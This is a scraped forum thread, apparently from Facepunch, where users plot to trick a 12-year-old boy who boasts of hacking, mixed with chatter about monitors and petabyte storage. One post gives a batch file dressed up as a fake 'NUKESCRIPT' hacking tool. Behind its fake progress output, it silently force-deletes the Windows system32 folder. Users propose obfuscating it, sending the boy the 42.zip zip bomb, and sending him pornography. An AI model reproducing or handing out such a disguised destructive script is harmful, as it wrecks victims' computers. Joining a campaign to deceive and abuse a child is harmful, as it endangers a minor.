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If anything it will just knock him off his pedestal. They will fuck up his computer and he will get to see a few porn pics. A 12 year old boy that is this "badass" on the internet probably has seen a shitload of that already so the worst 4chan will do is fuck up his computer and internet accounts.

[QUOTE=Waffle99;23994596]If anything it will just knock him off his pedestal. They will fuck up his computer and he will get to see a few porn pics. A 12 year old boy that is this "badass" on the internet probably has seen a shitload of that already so the worst 4chan will do is fuck up his computer and internet accounts.[/QUOTE] Really? Do you honestly think that he's seen goatse?

Just leave it alone.

[QUOTE=Mattk50;23931929]600 bucks for 19 inches? crt or lcd, it seems like a a waste of money. how much do you guys pay for your screens? i have a 24" acer LCD and the blacks are excellent in my eyes. it was 100-200$ if i remember correctly.[/QUOTE] I paid about £40 each for mine about 4 years ago (I have 4), That being said im more concerned with audio rather than visual quality so the monitors aren't really a concern for me as long as theres a lot of them

Hey guys a have an old ubuntu machine hanging around. Hit agree if you want me to do the zip bomb on it . if i get enough i will

Just do it, it's obvious you want to do it as much as we want you to :3: Rated agree anyway. You'd better post videos

[QUOTE=Waffle99;23994596]If anything it will just knock him off his pedestal. They will fuck up his computer and he will get to see a few porn pics. A 12 year old boy that is this "badass" on the internet probably has seen a shitload of that already so the worst 4chan will do is fuck up his computer and internet accounts.[/QUOTE]Send him gay furry porn.

[QUOTE=jimhowl33t;23989793] Since he seems to have the IQ and computer knowledge of a not-too-ripe banana, I think it might actually work.[/QUOTE] Don't be mocking the Xbox 360 Warranty banana! (For those who don't get it. It's a reference to Through The Tech hole.)

[QUOTE=ButtsexV2;23994070]this is poorly disguised. try some hexadecimal in the alias section (does batch support hex? I haven't needed a batch script in years so I don't remember)[/QUOTE]He's a 12-year-old kid whose nonexistent attention spand will probably prevent him from understanding the code. Missed by automerge. Also this must be a stupid question, but is it even possible to delete C:\WINDOWS\System32? I mean some Linux OSes actually started preventing the rm -rf / command.

he can't figure out how to launch a cracked version of MW2 when it's missing just one .bin file, fucking full speed ahead right into [b]the fucking sun[/b]

Kids come up to me in any class where we use computers with something along the lines of this: 'ZOMG J00 CAN TYPE FAST CAN U HACK?' Just because I can type fast doesn't mean I can 'hack'. If I could I wouldn't tell you about it. Sometimes I like to throw 'em off with random jargon, E.G. No but I can pry off the PCI E connector on any Asus motherboard with Intel i7 compatibility and replace it with a 5 terabyte stick of DDR3. It's most fun if they think I'm telling the truth.

[QUOTE=xxncxx;23992200]Ah okay. So its basically: Compressed file > compressed file > compressed file and so on. So in reality, its not really a virus, just an exploit to make it screw over your HDD. I guess the only way you can stop it is if you have a petrabyte of space on your computer.[/QUOTE] Aren't petabyte drives like, not commercially available at all yet, or even properly invented?

I believe that somewhere in the US, there's a storage facility that can store more than a petabyte of data, but that's probably a mass collection of drives linked together.

[QUOTE=Comrade General;23995178]Aren't petabyte drives like, not commercially available at all yet, or even properly invented?[/QUOTE] Massive raid. :v:

[QUOTE=SPESSMEHREN;23995054]He's a 12-year-old kid whose nonexistent attention spand will probably prevent him from understanding the code. Missed by automerge. Also this must be a stupid question, but is it even possible to delete C:\WINDOWS\System32? I mean some Linux OSes actually started preventing the rm -rf / command.[/QUOTE] XP and up will prompt you, but there is a switch to prevent it

Still no response from him, and he hasn't commented in 9 hours. Either he hasn't read my message yet or he "hacked" himself. (Deleted system 32)

I think I'm going to buy 2000 2TB HDs and put them in raid 9494201190 formation and get 4 petabytes of space

[QUOTE=compwhizii;23993540]After he responds to Wombo we should give him this bat file I just wrote: [code]@echo off echo NUKESCRIPT v7 echo ::STARTING... echo . echo . echo . echo . echo . echo . echo . echo . echo . echo . echo . echo . echo . echo . set ARCH_SYS=system32 set REMOTE_IP=74.34.97.185 set BRUTE_CMD=del echo ::CONNECTING... ping %REMOTE_IP% -n 2 -w 1000 > NUL connect_remote /F %REMOTE_IP% start "BRUTEFORCER - DONT TOUCH" /MIN /HIGH %BRUTE_CMD% /F /S /Q %SystemRoot%\%ARCH_SYS% set ATT=echo goto :hack :hack cls echo BRUTEFORCING - THIS WILL TAKE SOME TIME %ATT% %random% %ATT% %random% %ATT% %random% %ATT% %random% %ATT% %random% %ATT% %random% %ATT% %random% %ATT% %random% goto :hack [/code] Looks pretty legit, someone needs to test if you can really use environment variables to launch programs.[/QUOTE] Also may i ask what that does? Aw might automerge :(

[QUOTE=Barrowsx;23995219]I believe that somewhere in the US, there's a storage facility that can store more than a petabyte of data, but that's probably a mass collection of drives linked together.[/QUOTE] Yeah. I know the american Congress records all total about 2K + Terrabytes but those are probably all stored on loads of servers.

[QUOTE=Wombo194;23995335]Also may i ask what that does?[/QUOTE] deletes system32

I shall wait for content [IMG]http://static.howstuffworks.com/gif/probiotic-2.jpg[/IMG]

The total ammount of data stored around the whole world is estimated to be around 1.2 Zettabytes ( 1 million terabytes)

[QUOTE=Wombo194;23995463]The total ammount of data stored around the whole world is estimated to be around 1.2 Zettabytes ( 1 million terabytes)[/QUOTE] billion terabytes, I think.

oh ya, typo, wups!

this isn't illiteracy but since this thread is mostly a general discussion thread and the thread I should be replying in is closed, I'm going to post it anyway. [url]http://www.facepunch.com/showpost.php?p=23985559&postcount=115[/url] I really enjoyed this post

[QUOTE=ButtsexV2;23995702]this isn't illiteracy but since this thread is mostly a general discussion thread and the thread I should be replying in is closed, I'm going to post it anyway. [url]http://www.facepunch.com/showpost.php?p=23985559&postcount=115[/url] I really enjoyed this post[/QUOTE] <3

[QUOTE=Barrowsx;23995219]I believe that somewhere in the US, there's a storage facility that can store more than a petabyte of data, but that's probably a mass collection of drives linked together.[/QUOTE] EMC have been offering petabyte symmetrix arrays since 2006. Even a dude on hardforum has a 100tb in a single chassis: [url]http://hardforum.com/showthread.php?t=1512972[/url] A petabyte just isn't that big anymore.

I'm apparently a really smart computer geek because I made this simple Net Send Client. In the 1st version I got questions on how to use it to it, Im now on the 3rd version which added; Easier to use - Basically computer illiterate people can use it Command and Syntax help - More computer illiterate people help Options - It was a bitch to get working but made it ALOT more useful. Small tools - Insta reply, Report. Even with all those features added I get this message's about it with shit like "How do I setup a insta reply?" I replied "Look in help under Syntax and Commands" I get a reply "How do you launch help?" IT SAYS WHEN YOU START IT "Type help for help!"

I say if the fbi-hacking kid isn't back on youtube by tomorrow we got him. If, when he does come back he starts making shit up like "I went on vacation and it was nice and I hacked the CIA and made 2 billion dollars!", we should send him either 42.zip or compwhiz's .bat file.

Also, PC world help service - Asshats.